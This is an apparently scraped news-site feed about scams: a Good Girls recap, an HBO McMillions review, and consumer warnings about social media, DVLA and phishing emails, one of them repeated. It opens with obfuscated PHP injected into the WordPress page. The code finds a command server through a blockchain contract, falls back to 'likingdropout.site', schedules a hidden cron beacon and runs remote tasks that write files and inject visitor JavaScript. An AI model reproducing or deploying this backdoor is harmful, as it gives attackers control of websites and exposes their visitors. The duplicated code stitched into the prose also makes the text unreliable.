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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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It’s one step forward and three steps back for Beth, Ruby and Annie on Good Girls, and in Sunday’s episode, Max certainly doesn’t help their cause. The women are lucky to be alive after Beth’s attempted murder of their mob boss, but to wheel-and-deal him so soon after? That’s one risky play. Let’s see how it all pans out.

As we saw last week, Beth is skimming 10 percent off the top of Rio’s cash. Ruby thinks it’s a dangerous ploy, but Beth is tired of Rio calling the shots. After all, he stole from them first, she reasons. He’s just way scarier and, you know, armed and dangerous.

We check in with Max, who’s going all Beautiful Mind, trying to track the mystery behind Lucy’s disappearance. Dead center on his bulletin board is a note that reads: “Mrs. Boland.” (Though, I’m not sure what asteroids, a satellite launch and a plane crash have to do with it, but he wrote those down, too.) Based on the state of his house, the destroyed look on his face and the handgun he now possesses, it doesn’t look like Max is in a good place.

Stan gets a wad of cash from Krystal for working a private party with her. He’s shocked she’s pulling in that much dough until he witnesses a screaming match she gets into with a rich guy who accuses her of emptying his wife’s jewelry box.  Shady, indeed, but at least she’s sharing the (stolen) profits?

The ladies meet with Max to clear up a few things, but he’s got his gun inside a paper bag, demanding to know where Lucy is. Beth tells him about Rio and the van. “What do we do about this guy?” he asks, but of course, the women don’t have an answer. Max doesn’t want to go to the cops; he wants to kill him. “I’ve got nothing left to lose,” he says. Poor guy. Max then mentions a cousin who’s a former Navy SEAL and can do the job for $ 30k. Uh, I guess it’s nice to have options?

At the next cash hand-off, Rio tells the women he feels they’re robbing him blind. Beth plays it cool, but Rio is adamant: He doesn’t trust his partners. How much longer can Beth get away with this?

Good Girls Season 3 AnnieThe trio then goes to see JT at the loan office. Annie spills that the money’s for a hit man hire, which ruins their chances of getting the advance. Annie then suggests they rob her convenience store, but Beth and Ruby want no part of it. JT, however, is intrigued by how easy she says it would be (“Lionel Richie-easy!”), so he’s all in.

The job takes longer than it’s supposed to, and when Beth and Ruby go inside to investigate, another man is holding JT at gunpoint. He asks the women to call the cops, but after Beth claims to have no service, JT takes off running and the man accidentally shoots Ruby in the knee. Annie wraps up the leg with a tourniquet, sponges, ice scrapers, and other convenience store odds and ends. It looks super janky, as if the leg is wrapped in literal garbage and cellophane, but according to a paramedic, Annie saved the leg and maybe even Ruby’s life. And you know what? Annie really needed a win!

Ruby and the women then go to Plan B: They decide to let “tampon boy” take his shot at Rio, but the kid can barely hold his gun, let alone fire it. Beth takes him to school, and after a bit of practice, Max gets in touch with his inner Rambo, dainty earmuffs and all.

Beth introduces Max to Rio as “her ink guy,” but all of that John Nash/Sylvester Stallone realness goes up in smoke. Instead, he apologizes for raising his (non-existent) ink prices, screwing Beth over in the process. Even after she eggs him on, Max can’t muster up the chutzpah. “It wouldn’t have made you feel better,” she tells him afterward. “It just makes you feel nothing.”

Stan decides he’s in on Krystal’s game. He delivers a plan for how they’ll dupe rich, horny guys out of their most prized possessions. Looks like Stan is baking a few “egg rolls” of his own…

When the Boland family returns home later that night, they find that every single item in their house has been hijacked. On the counter is a note for “Elizabeth.” It reads: “Don’t ever steal from me again.”

Will the ladies ever get a leg up on Rio? And am I the only one who wants to see more of JT? Tell us your thoughts in the comments below! 

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]]> https://briefnews.eu/good-girls-recap-sham-and-scam/feed/ 0 McMillions Review: HBO Docuseries Is a Delicious Look at a Ridiculous Scam https://briefnews.eu/mcmillions-review-hbo-docuseries-is-a-delicious-look-at-a-ridiculous-scam/ https://briefnews.eu/mcmillions-review-hbo-docuseries-is-a-delicious-look-at-a-ridiculous-scam/#respond Wed, 29 Jan 2020 18:28:02 +0000 http://briefnews.eu/mcmillions-review-hbo-docuseries-is-a-delicious-look-at-a-ridiculous-scam/

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Even if you already know the story of the rigged McDonald’s Monopoly game (which was covered extensively by The Daily Beast in 2018), HBO’s McMillions documentary series is a fun, informative and highly entertaining look into one strange scam.

The basic details are this: From 1989 to 2001, ex-cop Jerome “Jerry” Jacobson rigged the McDonald’s Monopoly game by basically handing over winning pieces to everyone from mobsters to single mothers in exchange for some of the prize money. Meaning, for about 12 years, nearly all of the game’s big-ticket winners were frauds. In 2000, a tip led the FBI to begin investigating (complete with a pretty elaborate undercover operation) as the story became increasingly convoluted — and simultaneously zany and devastating.

HBO’s six-part documentary series, which premieres Monday, Feb. 3 at 10/9c, is a deep dive into the story, largely relying on interviews with some of the main players: FBI agents, a McDonald’s corporate employee, family members of the scammers, and even some of the “winners.” Though the story seems like it should be cut-and-dry, there are multiple twists and turns, as well as plenty of interesting characters that pop up along the way. And while an investigation like this involves an awful lot of paperwork, long-term wiretapping, and patience, McMillions finds a way to keep it amusing and illuminating, at least throughout the first three episodes sent to critics.

McMillions is technically a true crime documentary, though it doesn’t feel like what we’ve become accustomed to. Gritty, depressing true crime docs litter television — just take a cursory glance at Netflix! — and tend to focus on the more disturbing crimes, uncomfortably (and exploitatively) delighting in getting into the heads of murderers. McMillions, then, sometimes feels like an anomaly: it frequently takes a light-hearted approach, complete with music that could score an Ocean’s Eleven heist scene, silly reenactments (such as one dramatizing an agent reading a Post-It note), and Doug Mathews, a colorful special agent who comes off less of a member of the FBI and more like an over-excitable puppy eager to play with the big dogs.

McMillions HBOMathews took an interest in the McDonald’s case partly because he was intrigued by the Post-It and partly because he was just “bored to death of this healthcare garbage” that he was working on. He treats the investigation like a game, excitedly suggesting sting operations and undercover plans (despite not being trained in going undercover), donning a ridiculous outfit to a serious meeting with McDonald’s corp, and, at one point, enthusiastically suggesting a silly and expensive Las Vegas-related ruse that the other agents balked at. (In the reenactment of this, someone hilariously writes “RUSE” in large letters on a whiteboard, just in case we weren’t sure.) Of all the FBI agents, Doug is essentially the star of the docuseries because he’s the one who is most excited, who isn’t reserved, and who is constantly chatting. “Doug is one of the hardest working agents I’ve ever met in my life,” says one of his coworkers before adding: “And he can talk forever. He is relentless.”

But McMillions‘ most memorable moments might not be from Mathews but instead from the people directly involved with the scam. The family members of mobster/scammer Jerry Colombo (not to be confused with Jerry Jacobson; everyone refers to the latter as “Uncle Jerry”) are interviewed, explaining their family in very matter-of-fact ways. (The Colombo family is one of the big five crime families in New York City.) When they talk about Colombo opening a night club called Fuzzy Bunny, they reason that it shows he “had his morals” because it wasn’t full nudity. “I was proud of him for doing something legal for once,” a relative says. (I won’t spoil it here, but the eventual trajectory of Fuzzy Bunny is truly weird and fitting for a fictional story.) But there is also a tinge of sadness, especially from his wife Robin, who eventually speaks openly about their marital problems and her fears regarding her husband’s connections.

In the third episode, we learn more about one of the “winners,” Gloria Brown, who is a Black single mother making $ 24K a year pre-taxes. A glance at the McDonald’s scam makes it easy to write off most of the “winners” as people who just wanted easy money but hearing from Gloria puts a different face on it. “I just wanted a better life and I just felt like this was my opportunity,” she explains. Her interviews are a tough watch: It’s clear that she was basically tokenized because being Black meant she wouldn’t be linked to the Colombo Italian family tree, and it’s clear that she was used and exploited in a way that she wasn’t prepared for, especially when she goes into more detail about what Jerry expected in return.

Directors James Lee Hernandez and Brian Lazarte craft a documentary that is able to show both sides of the story: the inherently comical aspects that seem made-up and the very real, devastating effects of the entire scam. It’s not totally balanced — the first two episodes are definitely lighter and have a fun retro-feel that’s only heightened by vintage McDonald’s commercials and old-school marketing, while the third episode goes dark pretty quickly and hovers there.

While it’s not entirely successful, the directing team’s approach is certainly skillful, and McMillions is definitely a fun watch. But be warned: You will likely find yourself craving McDonald’s while watching the overhead shots of french fries splayed on a conference table, or the close-ups of someone sipping a fountain soda.

TVLINE BOTTOM LINE: McMillions is a juicy, informative docuseries that entertainingly chronicles a bonkers scam and the players it hurt.

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]]> https://briefnews.eu/mcmillions-review-hbo-docuseries-is-a-delicious-look-at-a-ridiculous-scam/feed/ 0 How to spot social media scams [INFOGRAPHIC] https://briefnews.eu/how-to-spot-social-media-scams-infographic/ https://briefnews.eu/how-to-spot-social-media-scams-infographic/#respond Mon, 22 Apr 2019 16:55:25 +0000 http://briefnews.eu/?p=252073 Internet users love social media. It’s a place where they can cultivate a persona and interact with friends and family. The most popular social media sites in 2019 are Facebook, Instagram and LinkedIn. Facebook has reached 2 billion active users, Instagram has 1 billion and LinkedIn is gaining momentum with 590 million users.

With so much social media use, it’s important that we are teaching proper safety etiquette. Trusting strangers online and revealing too much about yourself can lead to identity theft, hacked accounts and many other consequences. In addition, trusting people you think you know without learning the signs of a hacked account can be dangerous. These social sites are ridden with bots, hackers and scammers that are trying to trick you.

To help you learn the signs and protect yourself from popular social media schemes, Panda Security has an infographic on social media scams and how to spot them. Browse through the scams (some might be familiar!) and note the tips on how to identify them when you are scrolling through social media.

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]]> https://briefnews.eu/how-to-spot-social-media-scams-infographic/feed/ 0 Nationwide Bomb Threats Look Like New Spin on an Old Bitcoin Scam https://briefnews.eu/nationwide-bomb-threats-look-like-new-spin-on-an-old-bitcoin-scam/ https://briefnews.eu/nationwide-bomb-threats-look-like-new-spin-on-an-old-bitcoin-scam/#respond Fri, 14 Dec 2018 11:45:07 +0000 http://briefnews.eu/nationwide-bomb-threats-look-like-new-spin-on-an-old-bitcoin-scam/ Apparent bitcoin scammers caused chaos across the US Thursday, radically escalating longstanding tactics.


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]]> https://briefnews.eu/nationwide-bomb-threats-look-like-new-spin-on-an-old-bitcoin-scam/feed/ 0 New Scam Apps Take Advantage of iPhone Touch ID https://briefnews.eu/new-scam-apps-take-advantage-of-iphone-touch-id/ https://briefnews.eu/new-scam-apps-take-advantage-of-iphone-touch-id/#respond Mon, 03 Dec 2018 21:14:06 +0000 http://briefnews.eu/new-scam-apps-take-advantage-of-iphone-touch-id/ Touch ID is seamless, which makes it great for unlocking your phone—and for App Store scammers.


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]]> https://briefnews.eu/new-scam-apps-take-advantage-of-iphone-touch-id/feed/ 0 Instagram car finance SCAM – Drivers warned of bogus lease firms using social media  https://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/ https://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/#respond Wed, 03 Oct 2018 09:48:43 +0000 http://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/

Motorists are being warned about a new finance scam that sees con artists targeting unsuspecting motorists with too good to be true deals. 

Deals advertised on the social media Instagram are targetting the most vulnerable motorists on the road. 

Typically they offer motorists a policy without the need for a credit check or a deposit. 

Usually, the deposit is a large lump sum up front as well as commit to regular monthly payments. 

Leases are a type of credit, which means that only motorists with a good credit history will be likely to pass any affordability and suitability checks. 

This means that motorists with poor credit history could be left unable to take out a lease. 

Con artists are capitalising on these vulnerable motorists by essentially bypassing the process which is preventing them from getting a deal. 

Fraudulent accounts have been spotted on Instagram, who are asking motorists to direct message the firms to be able to take out a policy. 

These policies do not exist and it is just a ruse for these scammers to get hold of your details and convince you to hand over your cash. 

The British Vehicle Rental and Leasing Association (BVRLA) and Action Fraud are akin drivers to remain vigilant and question if a deal seems too good to be true.  

BVRLA boss Gerry Keaney said: “These criminals are purposely targeting the vulnerable, scamming money from people who can least afford to lose it.

“It’s deplorable. Their adverts can appear very convincing with some even posing as BVRLA members and citing membership numbers of legitimate members.

“We want to get the message out there that all legitimate leasing brokers adhere to Financial Conduct Authority rules and will carry out credit and affordability checks.

“Those who don’t, will not be legitimate traders and could be out to scam you.”

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It is not an uncommon thing for con artists to send fraudulent messages to motorists posing to be the Driver and Vehicle Licensing Agency (DVLA).

Over the years there have been many reports of by someone claiming to be the DVLA either asking for money or offering a refund. 

Car tax can be incredibly complex, especially given the fact that it has which means motorists could be more at risk of being targeted by fraudsters. 

The latest scam looks fairly legitimate in the format of the words by the logo at the top of the interaction is fairly contentious. 

It is stretched across the top of the banner in an unnatural way but due to the convincing nature of the text then the motorist could still be fooled.  

Typically the message reads: “Security Alert.

“We would like to notify you that you still have an outstanding vehicle tax refund of £47.94 from an overpayment, despite our precious letters regarding your refund we are yet to receive your claim. 

“Requests for refunds are time-limited please use the link below to complete your refund request.

“Please note: You’ll usually get the refund in 4 to 6 weeks, but it may take longer in some cases. 

“You should wait 6 weeks before contacting us about the payment. 

“Best Regards, Driver & Vehicle Licensing Agency.”

Today, the DVLA tweeted out a number of links to articles published on their website regarding what a driver should do when they receive a message of this nature. 

One read: “We’re aware that some members of the public are receiving emails, texts and telephone calls claiming to be from DVLA. 

“Links to a website mocked up to look like a DVLA online service are sometimes included in the message.

“We don’t send emails or text messages with links to websites asking you to confirm your personal details or payment information. 

“We strongly advise anyone who receives such a request not to open the link and delete the item.”

It also offers some advice to how a motorist can guarantee their safety when they need to deal with the DVLA. 

“By using the online driving licence or vehicle tax transactions on GOV.UK you can be sure that you are dealing directly with DVLA,” the message reads. 

Similarly, it is warning drivers about fraudulent websites pretending to be the DVLA. 

The agency urged drivers to always be sure they are using a gov.uk website and check the URL carefully before they enter any details. 

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]]> https://briefnews.eu/dvla-car-tax-scam-warning-if-you-receive-this-message-heres-what-you-should-do/feed/ 0 The FTC is investigating iBackPack, an $800,000 crowdfunding scam https://briefnews.eu/the-ftc-is-investigating-ibackpack-an-800000-crowdfunding-scam/ https://briefnews.eu/the-ftc-is-investigating-ibackpack-an-800000-crowdfunding-scam/#respond Wed, 29 Aug 2018 21:34:56 +0000 http://briefnews.eu/the-ftc-is-investigating-ibackpack-an-800000-crowdfunding-scam/

Kickstarter and Indiegogo may have started with great intentions, but crowdfunding campaigns now seem at least as likely to fall short of their promises as to fully deliver on them. As The Verge reports today, the Federal Trade Commission (FTC) has taken a particular interest in the Los Angeles startup behind iBackPack, which raised nearly $ 800,000…Read More

]]> https://briefnews.eu/the-ftc-is-investigating-ibackpack-an-800000-crowdfunding-scam/feed/ 0 Martin Lewis: Money Saving Expert scam email warning – look out for these four words https://briefnews.eu/martin-lewis-money-saving-expert-scam-email-warning-look-out-for-these-four-words-2/ https://briefnews.eu/martin-lewis-money-saving-expert-scam-email-warning-look-out-for-these-four-words-2/#respond Mon, 18 Jun 2018 10:57:12 +0000 http://briefnews.eu/martin-lewis-money-saving-expert-scam-email-warning-look-out-for-these-four-words-2/

Martin Lewis, 46, issued an email scam warning to viewers on This Morning to explain what to look out for and how to know if you’re being scammed.

The Money Saving Expert, or MSE for short, advised people to be wary of the wording of certain emails to tell if they are a scam.

“Look out for poor grammar or dodgy spelling in emails, he said.

He added that there is a four word phrase you need to look out for to identify a scam email.

“If they start the email with ‘dear sir or madam’ – this often means it’s not from a legit company.”

He also provided a number of other general rules to spot scams.

Never give personal details if they call, text or email

The classic scam is fraudsters sending messages or emails asking for your details to break into your accounts, claiming to be from a bank, insurer, HMRC, me (yes people call as Martin Lewis) or even the police.

There are three types …

a) Phishing – This is where scammers send you a spam email from a company it hopes you have a connection with e.g. your bank saying something like “your bank security is broken, click here” or “we need your help to retrieve funds. It’ll then take you through to a professional-looking website – often a mirror image of the real thing, and it’ll ask you to put in your password or personal details in.

Never, ever, EVER click a link in an email or open an attachment unless you’re 100% sure of its contents. It’s worth noting a very common one is a HMRC email promising a refund – HMRC never do this by email – so if you get one it’s a fake.

b) Smishing – SMS-phishing – it’s the same as phishing but a text is used instead of an email. Even if the text number looks genuine, always call it back using an official number you have found elsewhere, and never text it back.

c) Vishing – voice-phishing. This is where someone calls you claiming to be from a bank, insurer, utility provider, etc asking for personal details, like your password or mother’s maiden name – again NEVER EVER give it.

An increasingly common trick is where they call, ask you to call your bank back, but play a dialling tone, tricking you into thinking they’ve hung up. Yet you’re still talking to them.

Instead, say you’ll call them back – if they are legit they won’t mind. Even if they give a number to call back, don’t dial it.

Go and find the official number for that institution and call it a bit later, or preferably from another phone, as often the scammers stay on the line and play a dial tone while you call tricking you into thinking you’ve actually called the right place.

Don’t fall for fake deals on WhatsApp & Facebook and other social media

I constantly hear of many bogus offers popping up in people’s feeds and messages, eg, Alton Towers and Ryanair giving away free tickets on WhatsApp.

The key here is to know the source. Is the person giving you the information trustworthy, and is the source trustworthy too? Go to where you know it’s legit and check it. In other words even if it looks legit, never just click without separately checking.

And of course as you may have heard me say before I DON’T DO ADS – my face has been plastered all over the internet, over 1,000 ads on Facebook alone wrongly claiming I’m endorsing binary trading, PPI companies and more. NOT ONE of these scam ads is genuine – don’t be fooled. And please pass on the message to anyone you think may be fooled by these ads.

Martin Lewis explained how to save money on your energy bill last week.

The Money Saving Expert, also known as MSE, spoke as part of his slot on Good Morning Britain this morning.

He warned that N-Power customers will experience a rise in costs which will see their energy bills soar.

He warned that the company was increasing prices by 5.5 per cent for those who pay a direct debit.

This could see them paying an average of £1,230 per year on their dual fuel bills.

However, through switching, the lower possible tariff would be around £810, he explained.

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Martin Lewis, 46, issued an email scam warning to viewers on This Morning to explain what to look out for and how to know if you’re being scammed.

The Money Saving Expert, or MSE for short, advised people to be wary of the wording of certain emails to tell if they are a scam.

“Look out for poor grammar or dodgy spelling in emails, he said.

He added that there is a four word phrase you need to look out for to identify a scam email.

“If they start the email with ‘dear sir or madam’ – this often means it’s not from a legit company.”

He also provided a number of other general rules to spot scams.

Never give personal details if they call, text or email

The classic scam is fraudsters sending messages or emails asking for your details to break into your accounts, claiming to be from a bank, insurer, HMRC, me (yes people call as Martin Lewis) or even the police.

There are three types …

a) Phishing – This is where scammers send you a spam email from a company it hopes you have a connection with e.g. your bank saying something like “your bank security is broken, click here” or “we need your help to retrieve funds. It’ll then take you through to a professional-looking website – often a mirror image of the real thing, and it’ll ask you to put in your password or personal details in.

Never, ever, EVER click a link in an email or open an attachment unless you’re 100% sure of its contents. It’s worth noting a very common one is a HMRC email promising a refund – HMRC never do this by email – so if you get one it’s a fake.

b) Smishing – SMS-phishing – it’s the same as phishing but a text is used instead of an email. Even if the text number looks genuine, always call it back using an official number you have found elsewhere, and never text it back.

c) Vishing – voice-phishing. This is where someone calls you claiming to be from a bank, insurer, utility provider, etc asking for personal details, like your password or mother’s maiden name – again NEVER EVER give it.

An increasingly common trick is where they call, ask you to call your bank back, but play a dialling tone, tricking you into thinking they’ve hung up. Yet you’re still talking to them.

Instead, say you’ll call them back – if they are legit they won’t mind. Even if they give a number to call back, don’t dial it.

Go and find the official number for that institution and call it a bit later, or preferably from another phone, as often the scammers stay on the line and play a dial tone while you call tricking you into thinking you’ve actually called the right place.

Don’t fall for fake deals on WhatsApp & Facebook and other social media

I constantly hear of many bogus offers popping up in people’s feeds and messages, eg, Alton Towers and Ryanair giving away free tickets on WhatsApp.

The key here is to know the source. Is the person giving you the information trustworthy, and is the source trustworthy too? Go to where you know it’s legit and check it. In other words even if it looks legit, never just click without separately checking.

And of course as you may have heard me say before I DON’T DO ADS – my face has been plastered all over the internet, over 1,000 ads on Facebook alone wrongly claiming I’m endorsing binary trading, PPI companies and more. NOT ONE of these scam ads is genuine – don’t be fooled. And please pass on the message to anyone you think may be fooled by these ads.

Martin Lewis explained how to save money on your energy bill last week.

The Money Saving Expert, also known as MSE, spoke as part of his slot on Good Morning Britain this morning.

He warned that N-Power customers will experience a rise in costs which will see their energy bills soar.

He warned that the company was increasing prices by 5.5 per cent for those who pay a direct debit.

This could see them paying an average of £1,230 per year on their dual fuel bills.

However, through switching, the lower possible tariff would be around £810, he explained.

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